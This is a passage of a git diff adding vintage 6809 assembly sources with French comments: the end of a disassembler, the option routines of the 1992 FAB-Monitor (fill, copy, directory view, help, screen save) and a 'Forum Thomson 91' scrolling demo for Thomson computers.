+       CMPA   #'[
+       BNE    IDXCAS-1
+       LDD    [DIR*256+OPCODE]
+       STD    <OPCODE
+       LDA    #']
+       STA    ,U+
+       RTS
+IDXCAS FDB    IDX0,IDX1,IDX2,IDX3,VIRREG
+       FDB    IDX5,IDX6,IDXERR,IDX8,IDX9
+       FDB    IDXERR,IDX11,IDX12,IDX13
+       FDB    IDXERR,IDX15
+
+IDX0   BSR    VIRREG       ,R+
+       LDA    #'+
+       STA    ,U+
+       RTS
+IDX1   BSR    VIRREG       ,R++
+       LDD    #$2B2B
+       STD    ,U++
+       RTS
+IDX2   LDD    #$2C2D       ,-R
+       STD    ,U++
+       BRA    PCKREG
+IDX3   LDD    #$2C2D       ,--R
+       STD    ,U++
+       STB    ,U+
+       BRA    PCKREG
+IDX5   LDA    #'B          B,R
+       STA    ,U+
+       BRA    VIRREG
+IDX6   LDA    #'A          A,R
+       STA    ,U+
+       JMP    VIRREG
+IDX12  LDD    ,Y++         8 bits , PCR
+       SEX
+IDXPCR LEAX   D,Y
+       TFR    X,D
+       STD    <OPCODE si on veut y aller
+       CLR    <ADRMOD flag "peut sauter"
+       JSR    ATOHEX
+       TFR    B,A
+       JSR    ATOHEX
+       LDD    #$2C50
+       STD    ,U++
+       LDD    #$4352
+       STD    ,U++
+       RTS
+IDX13  LDA    ,Y+          16 bits , PCR
+       LDD    ,Y++
+       BRA    IDXPCR
+IDX15  LDA    ,Y
+       BITA   #16
+       BEQ    IDXERR
+       LEAY   1,Y
+       LDA    ,Y+
+       STA    <OPCODE    au cas où l'on
+       JSR    ATOHEX
+       LDA    ,Y+
+       STA    <OPCODE+1 voudrait y aller
+       CLR    <ADRMOD flag "peut sauter"
+       JMP    ATOHEX
+IDXERR LDD    #$3F3F
+       STD    ,U++
+       RTS
+IDXLRG FCC    "XYUS"
+
+RELATI LDA    <ADRMOD
+       BITA   #16     déplacement 8bits?
+       BNE    RLWORD
+       LDB    ,Y+
+       SEX
+       BRA    *+4
+RLWORD LDD    ,Y++
+       LEAX   D,Y     l'adresse pointée
+       STX    <OPCODE  au cas où l'on
+       LDA    <OPCODE voudrait y aller
+       JSR    ATOHEX
+       LDA    <OPCODE+1
+       CLR    <ADRMOD flag "peut sauter"
+       JMP    ATOHEX
+
+TRANSF LDB    ,Y
+       ANDB   #$F0
+       LDX    #TFXREG
+       LSRB           4bits poids fort
+       LSRB             =reg "source"
+       LSRB
+       LDD    B,X     texte registre 1
+       CMPA   #32
+       BEQ    *+4
+       STA    ,U+
+       STB    ,U+
+       LDB    #',     la virgule sépare
+       STB    ,U+
+       LDB    ,Y+     4bits poids faible
+       ANDB   #15     =reg "destination"
+       ASLB
+       LDD    B,X     texte registre 2
+       CMPA   #32
+       BEQ    *+4
+       STA    ,U+
+       STB    ,U+
+       RTS
+
+TFXREG FCC    " D X Y U SPC ? ? A BCCDP"
+       FCC    " ? ? ? ?"
+
+PILES  LDB    #'S      pile non utilisée
+       LDA    <OPCODE+1
+       CMPA   #$35
+       BHI    *+4
+       LDB    #'U
+       STB    PILREG+3
+       LDB    ,Y+
+       BITA   #1      empile-t-on ?
+       BNE    DEPILE-5
+       LDX    #PILREG liste de registres
+       LDA    #8      registres à tester
+EMPILE ASLB
+       BCC    *+4
+       BSR    REGSEL  valide registre
+       LEAX   2,X
+       DECA
+       BNE    EMPILE
+ENDPIL LDA    #32     efface la dernière
+       STA    ,-U          virgule
+       RTS
+       LDX    #PILREG+14
+       LDA    #8
+DEPILE ASRB
+       BCC    *+4
+       BSR    REGSEL
+       LEAX   -2,X
+       DECA
+       BNE    DEPILE
+       BRA    ENDPIL
+REGSEL PSHS   D         ce registre est
+       LDD    ,X          sélectionné
+       CMPA   #32
+       BEQ    *+4
+       STA    ,U+     on copie son nom
+       STB    ,U+
+       LDA    #',
+       STA    ,U+
+       PULS   D,PC
+PILREG FCC    "PC U Y XDP B ACC"
+
+
+INSTR  LDB    ,Y+     décode instruction
+       CMPB   #$10    et renvoie le code
+       BNE    INSTR2   opérande dans A.
+       STB    <OPCODE opcode complexe 10
+       LDX    #MNEMO2
+       BRA    CMPLEX
+INSTR2 CMPB   #$11
+       BNE    INSTR3
+       STB    <OPCODE opcode complexe 11
+       LDX    #MNEMO3
+CMPLEX LDB    ,Y+
+       BSR    FNDCOD
+       BPL    *+4
+       LEAY   -1,Y    A=-1: code inconnu
+       RTS
+INSTR3 LDX    #MNEMO1 opcode simple (1o)
+       CLR    <OPCODE
+FNDCOD STB    <OPCODE+1 trouve txt+infos
+FNDTXT LDD    ,X++     correspondant à
+       CMPD   #$3F3F  l'opcode cherché.
+       BNE    PAFIN1
+       STD    ,U++    code inconnu (??)
+       LDA    #-1
+       RTS
+PAFIN1 CMPA   <OPCODE+1 trouvé l'opcode?
+       BNE    FNDTXT
+       CMPB   #$1F    c'est un vrai ?
+       BHI    FNDTXT  non:c'est du texte
+       STB    <ADRMOD
+       LDD    ,X++      on saute les
+       CMPB   #$1F    autres adressages
+       BLO    *-4     de la Mnémonique.
+       LEAX   -2,X
+       LDD    ,X++      copie du texte
+       STD    ,U++
+       LDD    ,X++
+       STD    ,U++
+       LDA    <OPCODE+1
+       CMPA   #$1C    l'exception: ANDCC
+       BNE    *+4
+       STB    ,U+
+       LDA    <ADRMOD
+       RTS
diff --git a/code/3rdparty/sources2-hcl/OPTIONS2.ASM b/code/3rdparty/sources2-hcl/OPTIONS2.ASM
new file mode 100644
index 0000000..34c7c0d
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/OPTIONS2.ASM
@@ -0,0 +1,603 @@
+SIDTXT  * choisit quelle face du disque
+       FCC    "SIDE @"
+       FCB    0
+OPSIDE LDA    <DKDRV  choisit la face
+       ADDA   #'0
+       STA    ,U
+       LDX    #CHKBOL
+       STX    <INPCHK
+       LDX    #VALASC
+       STX    <INPVAL
+       LDA    #1
+       JSR    INPUT   choix de la face
+       JSR    IPIHEX
+       BEQ    EOPSID
+       LDB    ,U
+       SUBB   #'0
+       STB    <DKDRV
+       CLRA
+EOPSID JMP    HWINDW
+
+FILTXT  * option: remplit zone mémoire
+       FCC    "FILL $@"
+       FDB    0,0
+       FCC    " TO $"
+       FDB    0,0
+       FCC    ">PATTERN $"
+       FDB    0,0,0,0,0,0,0,0
+OPFILL LDA    #4
+       LEAY   4,U
+       JSR    INPUT   lit adresse début
+       BEQ    EOPFIL
+       STU    <FILBEG
+       LDA    #4
+       JSR    DIPUT2  lit adresse de fin
+       BEQ    EOPFIL
+       STU    <FILEND
+       JSR    CLRBAR
+       LDX    #CHKSOP
+       STX    <INPCHK
+       LDX    #VALSOP
+       STX    <INPVAL
+       LDA    #16     16 digits maximum
+       JSR    DIPUT2  motif remplissage
+       TSTB           chaîne " ?
+       BEQ    *+3
+       LSRA
+       JSR    IPIHEX
+       BEQ    EOPFIL
+       CLR    <CLIGNO
+       LDB    #32     efface le curseur
+       JSR    PUTC
+       LDX    <FILEND
+       LEAY   ,U
+       LDB    ,U
+       CMPA   #1
+       BEQ    SIGPAT
+       STX    >SPIDF1+1    motif long
+       LDX    <FILBEG
+       CMPX   <FILEND
+       BEQ    EOPFIL-2
+       STA    <FILBEG
+HUGPAT LDB    ,U+
+       STB    ,X+
+       DECA
+       BNE    *+6
+       LEAU   ,Y
+       LDA    <FILBEG
+SPIDF1 CMPX   #0
+       BNE    HUGPAT
+       LDB    ,U
+       BRA    EOPFIL-2
+
+SIGPAT STX    >SPIDF2+1  motif à 1 octet
+       LDX    <FILBEG
+       CMPX   <FILEND
+       BEQ    EOPFIL-2   on remplit la
+FILL   STB    ,X+      zone avec l'octet
+SPIDF2 CMPX   #0          spécifié...
+       BNE    FILL
+       STB    ,X
+EOPFIL CLRA
+       JMP    HWINDW
+
+COPTXT  * option: copie une zone mémoire
+       FCC    "COPY $@"
+       FDB    0,0
+       FCC    " - $"
+       FDB    0,0
+       FCC    " TO $"
+       FDB    0,0
+OPCOPY LDA    #4
+       LEAY   4,U
+       JSR    INPUT   lit adresse début
+       BEQ    EOPCOP     zone source
+       STU    <COPBEG
+       LDA    #4
+       JSR    DIPUT2  lit adresse de fin
+       BEQ    EOPCOP     zone source
+       STU    <COPEND
+       LDA    #4
+       JSR    DIPUT2  lit adresse début
+       BEQ    EOPCOP   zone destination
+       CLR    <CLIGNO
+       LDB    #32     efface le curseur
+       JSR    PUTC
+       CMPU   <COPBEG
+       BLS    ASCECP    mode ascending
+       LDX    <COPEND   mode descending
+       LDD    <COPEND
+       SUBD   <COPBEG  longueur zone - 1
+       BEQ    EOPCOP-4
+       LEAU   D,U
+       LEAX   1,X
+       LEAU   1,U
+       LDD    <COPBEG
+       STD    SPIDC1+1
+       LDB    ,-X
+       STB    ,-U
+SPIDC1 CMPX   #0
+       BNE    *-7
+       CLRA
+       JMP    HWINDW
+
+ASCECP LDD    <COPEND    copie en mode
+       STD    >SPIDC2+1    ascending
+       LDX    <COPBEG
+       CMPX   <COPEND
+       BEQ    EOPCOP-4
+       LDB    ,X+      copie de la zone
+       STB    ,U+       source vers la
+SPIDC2 CMPX   #0      zone destination
+       BNE    *-7
+       LDB    ,X
+       STB    ,U
+EOPCOP CLRA
+       JMP    HWINDW
+
+ABOTXT  * option: au sujet de FAB-Mon
+       FCC    "ABOUT@"
+       FCC    "                        "
+       FCC    "    FAB-Monitor v3.1    "
+       FCC    " Copyright (c) 1992 by  "
+       FCC    "    Laurent  Hiriart    "
+       FCC    "                        "
+       FCC    " Published by  A.S.C.I. "
+       FCC    "365, Chemin des montants"
+       FCC    "     54690 EULMONT      "
+       FCC    "                        "
+       FCC    "Comments,suggestions and"
+       FCC    "bug reports are welcome."
+       FCC    "                        "
+OPABOU CLRA
+       JSR    GETC
+       CMPB   #2      touche Stop ?
+       LBEQ   HWINDW
+       CMPB   #13     touche Entrée ?
+       BNE    OPABOU+1
+       JSR    HWINDW
+       LDA    #12     lignes à afficher
+       STA    <CMPT
+OPABOD LDA    #5        marge à gauche
+       LDB    #32
+       JSR    PUTC
+       DECA
+       BNE    *-4
+       LDA    #24     affiche une ligne
+       LDB    ,U+         de texte
+       JSR    PUTC
+       DECA
+       BNE    *-6
+       LDA    #11     tabulation droite
+       LDB    #32
+       JSR    PUTC
+       DECA
+       BNE    *-4
+       DEC    <CMPT
+       BNE    OPABOD
+       RTS
+
+VIWTXT  * option: affiche le répertoire
+       FCC    "VIEW@"
+VIWLIN FCC    "   0:DiskName     F:"
+       FCC    "316  O:  0  R:  4   "
+OPVIEW CLRA
+       JSR    GETC
+       CMPB   #2
+       LBEQ   HWINDW
+       CMPB   #13
+       BNE    OPVIEW+1
+       JSR    HWINDW
+       LDY    #VIWLIN+3
+       LDB    <DKDRV
+       ADDB   #'0
+       STB    ,Y++
+       CLR    <DKOPC  opération READ
+       LDX    #IOZONE
+       STX    <DKBUF
+       LDD    #$1401
+       STD    <DKTRK
+       JSR    DISK
+       LDB    #8
+       LDA    ,X+     copie du nom de la
+       STA    ,Y+          disquette
+       DECB
+       BNE    *-5
+       INC    <DKSEC
+       LDX    #FAT
+       STX    <DKBUF
+       JSR    DISK      charge la FAT
+       LEAX   1,X        et l'analyse
+       STB    <CMPT
+DSKF   LDA    ,X+
+       CMPA   #$FF       bloc libre ?
+       BNE    *+3
+       INCB           FREE++
+       CMPA   #$FE
+       BNE    *+4
+       INC    <CMPT   RESERVED++
+       CMPX   #FAT+161
+       BLO    DSKF
+       STB    <VIWTMP
+       LEAU   7,Y     Nb(Ko)=2*Nb(Blocs)
+       JSR    BB2DEC       FREE
+       LEAU   4,U
+       LDB    #160
+       SUBB   <VIWTMP blocs libres
+       SUBB   <CMPT    ""  réservés
+       JSR    BB2DEC     OCCUPIED
+       LEAU   4,U
+       LDB    <CMPT
+       JSR    BB2DEC     RESERVED
+       LDX    #VIWLIN affiche le header
+       JSR    DISLIN+3  du catalogue
+       LDU    #LINE
+       LDD    #$2820   efface la zone
+       STB    ,U+     qui va servir aux
+       DECA           lignes de fichiers
+       BNE    *-3
+       LDY    #VFITYP
+       LDX    #CATALG
+       STX    <DKBUF
+       LDD    #$317
+       STB    <CMPT
+VIWDIR STA    <DKSEC
+       JSR    DISK    charge directory
+       LDX    #CATALG
+DIRAFF LDB    ,X
+       BEQ    VESCAT  oui:stop recherche
+       CMPB   #$FF     fin du catalogue
+       BEQ    EOPVIW
+       BSR    VAFFIL
+       BEQ    EOPVIW  DIR interrompu
+VESCAT LEAX   32,X
+       CMPX   #CATALG+256
+       BLO    DIRAFF
+       INCA
+       CMPA   #17
+       BLO    VIWDIR
+EOPVIW CLRA
+       RTS
+
+VAFFIL PSHS   X,A
+       CLRA
+       STA    <VIWTMP
+       STA    <FILEN
+       DECA
+       LDB    13,X    1er bloc ds la FAT
+       LDX    #FAT+1
+       ABX
+       INC    <FILEN  nbre blocs ++
+       LDB    ,X
+       STA    ,X      code=-1
+       CMPB   #$A0
+       BLO    *-12      détruit chaînage
+       SUBB   #$C1
+       CMPB   #8
+       BLO    *+7
+        LDA   #9      Bad File Structure
+        JMP   ERROR
+       LDX    1,S     retrouve pointeur
+       STB    <VIWTMP+1
+       LDA    <FILEN    nombre de blocs
+       DECA
+       LDB    #8
+       MUL
+       ADDD   <VIWTMP  calcule la taille
+       STD    <VIWTMP  précise,en octets
+       LDA    #255
+       MUL            T=255*((Nblocks-1)
+       STD    <VWTMP2 *8+(Nsecteurs dans
+       LDA    <VIWTMP dernier block)-1)+
+       LDB    #255    Noctets dans le
+       MUL             dernier secteur.
+       ADDB   <VWTMP2
+       BCC    *+3
+       INCA
+       STD    <VIWTMP+1
+       LDD    14,X    octets utilisés ds
+       ADDD   <VWTMP2 le dernier secteur
+       BCC    *+4
+       INC    <VIWTMP+1
+       STB    <VWTMP2+1
+       LDB    <VIWTMP+1
+       ADDB   #'0
+       LDU    #LINE
+       STB    ,U+
+       JSR    ATOHEX   affiche la taille
+       LDA    <VWTMP2+1
+       JSR    ATOHEX   précise,en octets
+       LDA    #8
+       LEAU   1,U
+       LDB    ,X+
+       STB    ,U+     copie du nom
+       DECA
+       BNE    *-5
+       LDA    #3
+       LEAU   1,U
+       LDB    ,X+
+       STB    ,U+     copie du suffixe
+       DECA
+       BNE    *-5
+       LDD    ,X
+       STD    <VIWTMP
+       LDA    #8      copie commentaire
+       LEAU   4,U
+       LEAX   5,X
+       LDB    ,X+
+       BNE    *+4
+       LDB    #32     -> espace si $00
+       STB    ,U+
+       DECA
+       BNE    *-9
+       LEAU   1,U
+       LDB    <FILEN
+       JSR    BB2DEC  longueur 2*Nblocks
+       LEAU   1,U
+       LDB    #'?
+       LDA    <VIWTMP
+       CMPA   #3
+       BHI    *+4
+       LDB    A,Y
+       STB    ,U++    type du fichier
+       LDB    #'B
+       LDA    <VIWTMP+1
+       BEQ    *+4
+       LDB    #'A
+       STB    ,U      Sémaphore Asc/Bin
+       JSR    DISLIN
+       JSR    GETC
+       CMPB   #2
+       BEQ    VFITYP-2  DIR interrompu
+       DEC    <CMPT
+       BNE    VFITYP-2
+       JSR    GETC
+       BCC    *-3
+       CMPB   #2
+       BEQ    VFITYP-2
+       LDA    #24
+       STA    <CMPT
+       PULS   A,X,PC
+VFITYP FCC    "BDMA"
+
+HLPTXT  * option: affiche les commandes
+       FCC    "HELP@"
+       FCC    "    T  TRANSFER ROM     "
+       FCC    "                "
+OPHELP CLRA
+       JSR    GETC
+       CMPB   #2
+       LBEQ   HWINDW
+       CMPB   #13
+       BNE    OPHELP+1
+       JSR    HWINDW
+       LDY    #OPTION
+       LDA    #24
+       STA    <CMPT
+
+HLPDSP LDU    #OPHELP-40+7
+       LDB    ,Y+
+       CMPB   #13
+       BNE    HLPART
+       LDA    #'E     copie ENT
+       STA    -5,U
+       LDD    #$4E54
+       BRA    HLPJN1
+HLPART CMPB   #12
+       BNE    HLPNOR
+       LDA    #'R     copie RAZ
+       STA    -5,U
+       LDD    #$415A
+       BRA    HLPJN1
+HLPNOR LDA    #32
+       STA    -5,U
+HLPJN1 STD    -4,U
+       LDX    ,Y
+       LDB    ,X+
+       CMPB   #'@
+       BEQ    *+6
+       STB    ,U+
+       BRA    *-8
+       LDA    -1,U
+       CMPA   #32
+       BEQ    *+8
+       CMPA   #'$
+       BNE    *+6
+       LEAU   -1,U
+       LEAU   -1,U
+       LDB    #32
+       STB    ,U+
+       CMPU   #OPHELP-9
+       BLO    *-6
+       LDU    #OPHELP-40
+       LDA    #40
+       LDB    ,U+
+       JSR    PUTC
+       DECA
+       BNE    *-6
+       DEC    <CMPT
+       BNE    HLPGON
+       JSR    GETC
+       BEQ    *-3
+       CMPB   #2
+       BEQ    EOHELP
+HLPGON LEAY   4,Y
+       CMPY   #ENDOPT
+       BNE    HLPDSP
+EOHELP CLRA
+       RTS
+
+IMATXT  * option: sauvegarde d'écran PPM
+       FCC    "IMAGE @"
+       FCB    0
+       FCC    "ILENAME."
+       FCB    0
+       FCC    "AP ; "
+       FCB    0
+       FCC    "omments"
+OPIMAG JSR    FILRQT  saisie du nom
+       BEQ    *+5
+       JSR    COMRQT  saisie commentaire
+       JSR    IPIHEX
+       JSR    HWINDW
+       LBEQ   EOPIMA
+       LDX    #NULL
+       JSR    SETPAL  palettes en noir
+       LDA    $E7E5
+       STA    <IMABNK
+       LDD    <CODCDD+1 mode d'affichage
+       STA    $E7DC
+       CLRA
+       ASLB
+       ROLA
+       ASLB
+       ROLA
+       BNE    *+5
+       LDA    >ZZZBK1+1
+       STA    $E7E5
+       DEC    $E7C3
+       JSR    BNK2VW    copie l'écran
+       LDX    #COLORS+32
+       JSR    SETPAL
+
+       LDA    #39     largeur - 1
+       LDB    $605F
+       ANDB   #$C0
+       STB    <IS4080
+       BEQ    *+4
+       ADDA   #40
+       LDY    #$A000  adresse début code
+       STY    <BEGADR
+       STB    ,Y+     code colonnes
+       LDB    #$18    taille de l'écran
+       STD    ,Y++
+       BSR    PLANE
+       LDA    <IS4080
+       BNE    FINCOD
+       DEC    $E7C3
+       BSR    PLANE
+
+FINCOD TFR    Y,D
+       ANDB   #1      alignement sur une
+       BEQ    *+4       adresse paire
+       CLR    ,Y+
+       LDX    #COLORS+64
+KOPIPA LDD    ,--X
+       BITA   #$10
+       BEQ    *+5
+       ADDD   #1
+       ANDA   #15
+       STD    ,Y++
+       CMPX   #COLORS+32
+       BNE    KOPIPA
+       CLRA
+       LDB    <CODCDD
+       STD    ,Y++
+       LDD    #$484C
+       STD    ,Y++
+       LEAX   -$A000,Y
+       STX    <FILSIZ
+       LDD    #0
+       STD    <EXEADR
+       LDA    #12     Picture Too Large
+       CMPX   #$4000
+       LBHI   ERROR
+       LDD    #$200   FILE/DATA types
+       STD    <FILETY
+       JSR    SAVEM
+
+       LDX    #NULL
+       JSR    SETPAL
+       CLR    $E7DC
+       LDA    $E7C3
+       ANDA   #254
+       STA    $E7C3
+       JSR    VW2BNK
+       LDA    <IMABNK
+       STA    $E7E5
+       JSR    FABSCR
+EOPIMA CLRA
+       RTS
+
+
+PLANE  LDU    #$4000   compacte un plan
+       STU    <HIGADR
+       LDD    #$28C8  40 cols / 200 ligs
+       TST    <IS4080
+       BEQ    *+4
+       ADDA   #40
+       STD    <CMPTLH
+GROUP  CLRA           nombre occurences
+       LDB    ,U
+       BSR    SEGBAS  segment courant et
+       BNE    SINGLE  + bas identiques ?
+
+
+MMSEG  BSR    NXLINE
+       INCA
+       CMPA   #$FF
+       BEQ    EOLIST
+       CMPB   ,U
+       BNE    EOLIST
+       TST    <CMPTLH
+       BNE    MMSEG
+EOLIST STD    ,Y++
+       BRA    NGROUP
+
+SINGLE STA    ,Y++
+       PSHS   Y
+ALLDIF BSR    NXLINE
+       STB    ,Y+
+       INCA
+       CMPA   #$FF
+       BEQ    EOSING
+       LDB    ,U
+       BSR    SEGBAS
+       BEQ    EOSING
+       TST    <CMPTLH
+       BNE    ALLDIF
+EOSING PULS   X
+       STA    -1,X
+
+
+NGROUP LDA    <CMPTLH
+       BNE    GROUP
+       CLRA
+       CLRB
+       STD    ,Y++
+       RTS
+
+SEGBAS PSHS   B,A
+       LDB    40,U
+       LDA    <CMPTLH+1
+       DECA
+       BNE    CMPSGB
+       BSR    NXTCOL  fin de la ligne
+       LDB    ,X
+       BSR    NXCOL2
+CMPSGB CMPB   1,S
+       PULS   A,B,PC
+
+NXLINE LEAU   40,U
+       DEC    <CMPTLH+1  1ligne de moins
+       BNE    EONXLN
+
+       PSHS   A
+       DEC    <CMPTLH  1colonne de moins
+       LDA    #200
+       STA    <CMPTLH+1
+       BSR    NXTCOL
+       STX    <HIGADR
+       LEAU   ,X
+       PULS   A,PC
+
+NXTCOL LDX    <HIGADR
+NXCOL2 LDA    <IS4080
+       BEQ    INCCOL
+       LDA    $E7C3
+       EORA   #1
+       STA    $E7C3
+       LSRA
+       BHS    EONXLN
+INCCOL LEAX   1,X
+EONXLN RTS
diff --git a/code/3rdparty/sources2-hcl/PART1.ASM b/code/3rdparty/sources2-hcl/PART1.ASM
new file mode 100644
index 0000000..596efac
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/PART1.ASM
@@ -0,0 +1,592 @@
+****************************************
+*                                      *
+*       FORUM THOMSON 91 : PART 1      *
+*                                      *
+****************************************
+
+CODE   EQU    $9800   implantation prog.
+MAP    EQU    $A000     image CHR fixes
+FONTS  EQU    $8800   dessin des lettres
+TEXTE  EQU    $8B80   délire méga-Lô...
+COMPTS EQU    $9F04    compteurs (visu)
+FNTBNK EQU    10      bank des CHR fixes
+DIR    EQU    $9F      accès direct au
+Z      EQU    0       buffer variables
+ZZ     EQU    DIR*256+Z idem en étendu
+HAUT   EQU    256     taille totale (Y)
+BLKHIG EQU    16      hauteur d'un bloc
+TAILLE EQU    HAUT/BLKHIG
+
+
+       ORG    CODE
+G      ORCC   #80
+       LDA    $E7E6
+       PSHS   A,DP
+       LDD    #32     palettes en noir
+       STA    $E7DB
+       STA    $E7DA
+       DECB
+       BNE    *-4
+       LDA    #$7B
+       STA    $E7DC
+       CLR    $E7DD
+       LDX    #MAP    décompacte fontes
+       STX    $616B
+       LDD    #$FF0E
+       STA    $6249
+       STB    $616D
+       INCB
+       STB    $E7E5
+       LDD    #$100
+       STD    $61D6
+       CLR    $6288
+       LDB    #69
+       JSR    $EC0C
+
+       LDA    #$60+FNTBNK traite fontes
+       STA    $E7E6    lettre par lettre
+       CLR    $E7E5
+       LDY    #0
+       LDX    #$A001
+       LDD    #$500+DIR
+       TFR    B,DP
+       STA    <Z      5 rangées
+       LDB    #8
+       STB    <Z+1    8 lettres / rangée
+       LDA    #37     37 lignes / lettre
+       STA    <Z+2
+LETTRE LDA    -1,X    5*2 octets / ligne
+       STA    ,Y+
+       LDD    ,X
+       STD    ,Y++
+       LDD    2,X
+       STD    ,Y++
+       LDA    $1FFF,X
+       STA    ,Y+
+       LDD    $2000,X
+       STD    ,Y++
+       LDD    $2002,X
+       STD    ,Y++
+       LEAX   40,X
+       DEC    <Z+2
+       BNE    LETTRE
+       LEAX   -37*40+5,X
+       DEC    <Z+1
+       BNE    LETTRE-4
+       LEAX   37*40,X
+       DEC    <Z
+       BNE    LETTRE-8
+
+       CLR    $E7E5    début des choses
+       JSR    CLRSCR     sérieuses...
+       LDB    #$E7
+       TFR    B,DP
+       LDD    #$40A
+       STD    ZZ
+       CLR    ZZ+3
+       LDY    #TEXTE  où dans le scroll
+       LDU    #FONTS  caractère courant
+RSTART LDA    #BLKHIG
+       STA    <$E5    sert de compteur
+       JSR    SYNCRO
+
+GOON   LDX    #0
+       JSR    VISU
+       LDB    #BLKHIG
+       STB    <$E5    l'horreur totale !
+       DEC    ZZ
+       BEQ    NEXLIG
+
+       LDX    #314    même écran, décalé
+       LEAX   -1,X
+       BNE    *-2
+       JMP    JOIN
+
+NEXLIG LDA    #4
+       STA    ZZ
+       ABX
+
+       LDB    #TAILLE
+       LDX    #VISU+15
+       LDA    EXCEPT
+       SUBA   #32
+       STA    EXCEPT
+SCROL  LDA    -10,X
+       STA    -12,X
+       LDA    -8,X
+       STA    -10,X
+       LDA    -6,X
+       STA    -8,X
+       LDA    -4,X
+       STA    -6,X
+       LDA    -2,X
+       STA    -4,X
+       LDA    ,X
+       STA    -2,X
+       LDA    2,X
+       STA    ,X
+       LDA    4,X
+       STA    2,X
+       LDA    6,X
+       STA    4,X
+       LDA    8,X
+       STA    6,X
+       LDA    10,X
+       STA    8,X
+       LDA    12,X
+       STA    10,X
+BITST  LDA    #128
+       BITA   ,U+     forme du caractère
+       BNE    *+6
+       LDA    #$97    bloc vide
+       BRA    *+6
+       LDA    #$D7    bloc plein
+       BRA    *+2
+       STA    12,X
+       LEAX   33,X
+       DECB
+       BNE    SCROL
+       LDA    EXCEPT
+       ADDA   #32
+       STA    EXCEPT
+
+       LEAU   -TAILLE,U
+       LSR    BITST+1
+       DEC    ZZ+1    encore x bits
+       BEQ    NEXLET
+       LDX    #9
+       LEAX   -1,X
+       BNE    *-2
+       BRA    JOIN
+
+NEXLET LDD    #$A80
+       STA    ZZ+1
+       STB    BITST+1
+       LDA    ,Y+     caractère suivant
+       BLT    ESCAPE  affiche page texte
+       BEQ    FINTXT
+       TST    ,X
+       PSHS   Y,X,A
+       PULS   A,X,Y
+       BRA    RETESC+2
+FINTXT LDY    #TEXTE
+       PSHS   X,A
+       PULS   A,X
+       ABX
+RETESC LDA    ,Y+      retour de ESCAPE
+       LDB    #TAILLE
+       MUL
+       LDU    #FONTS-16 (code de 1 à 56)
+       LEAU   D,U
+
+JOIN   LDX    #4
+       LEAX   -1,X
+       BNE    *-2
+
+       LDB    ZZ+3      décalage palette
+       LDX    #COLORS-9    effet de la
+       LDA    <$CC    direction du JOY0
+       ANDA   #3
+       ADDB   A,X
+       STB    ZZ+3
+       LDX    #COLORS
+       ABX
+       CLR    <$DB
+       LDA    #16     nouvelles palettes
+       STA    ZZ+4
+       LDD    ,X++
+       STB    <$DA
+       STA    <$DA
+       DEC    ZZ+4
+       BNE    *-9
+       LDA    B,X
+       TST    <$C8
+       LBEQ   GOON
+
+       LDD    #0
+       STD    $E7DC
+       LDA    #-1
+       LDX    #NORPAL
+       JSR    $EC00
+       PULS   DP,A
+       STA    $E7E6
+       RTS
+
+ESCAPE CMPA   #128
+       BNE    AFFTXT  permutation pages:
+       LDB    VISU+1    celle affichée
+       EORB   #128        est 0 ou 2
+       STB    VISU+1
+       TST    ,X      j'V pas tt refaire
+       BRA    RETESC  cette routine:26 #
+
+AFFTXT PSHS   Y       crée nouvelle page
+       CLRA
+       LDB    VISU+1    on modifie la
+       BNE    *+4     fenêtre qui n'est
+       LDA    #2
+       STA    $E7E5    pas affichée.
+       JSR    CLRSCR  effacement fenêtre
+       PULS   X
+GETPOS LDY    -1,X    position à l'écran
+       CMPY   #$A000
+       BLO    FINPGE
+       LEAX   1,X
+GETLET LDB    ,X+     lettre à afficher
+       BMI    GETPOS
+       JSR    PUTC
+       BRA    GETLET
+FINPGE LDA    ,X+     on prépare déja le
+       LDB    #TAILLE  caractère suivant
+       MUL
+       LDU    #FONTS-16 (code de 1 à 56)
+       LEAU   D,U
+       LEAY   ,X
+       JMP    RSTART
+
+SYNCRO LDA    #32
+       BITA   <$E7
+       BEQ    *-2
+       BITA   <$E7
+       BNE    *-2
+       PSHS   A
+       MUL
+       MUL
+       MUL
+       MUL
+       PULS   A
+       BITA   <$E7
+       BEQ    *-10
+       MUL
+       MUL
+       MUL
+       MUL
+       MUL
+       TST    <$E7
+       BPL    *-7
+       MUL
+       MUL
+       MUL
+       MUL
+       MUL
+       TST    <$E7
+       BMI    *-7
+       LDX    #$276
+       LEAX   -1,X
+       BNE    *-2
+       TST    ,X
+       RTS
+
+VISU   LDD    #$00C1
+       STA    <$DD    ligne 0
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       LEAX   -1,X
+       CMPX   #$FFF0
+       BNE    *-31
+       STA    <$DD    ligne 1
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+EXCEPT STA    $E7DD
+       LEAX   1,X
+       LBNE   *-29
+       STA    <$DD    ligne 2
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       LEAX   1,X
+       CMPX   #16
+       BNE    *-31
+       STA    <$DD    ligne 3
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       LEAX   -1,X
+       CMPX   #0
+       BNE    *-31
+       STA    <$DD    ligne 4
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       LEAX   1,X
+       CMPX   #16
+       BNE    *-31
+       STA    <$DD    ligne 5
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       STA    <$DD
+       LEAX   -1,X
+       CMPX   #0
+       BNE    *-31
+       STA    <$DD    ligne 6
+       STA    <$DD
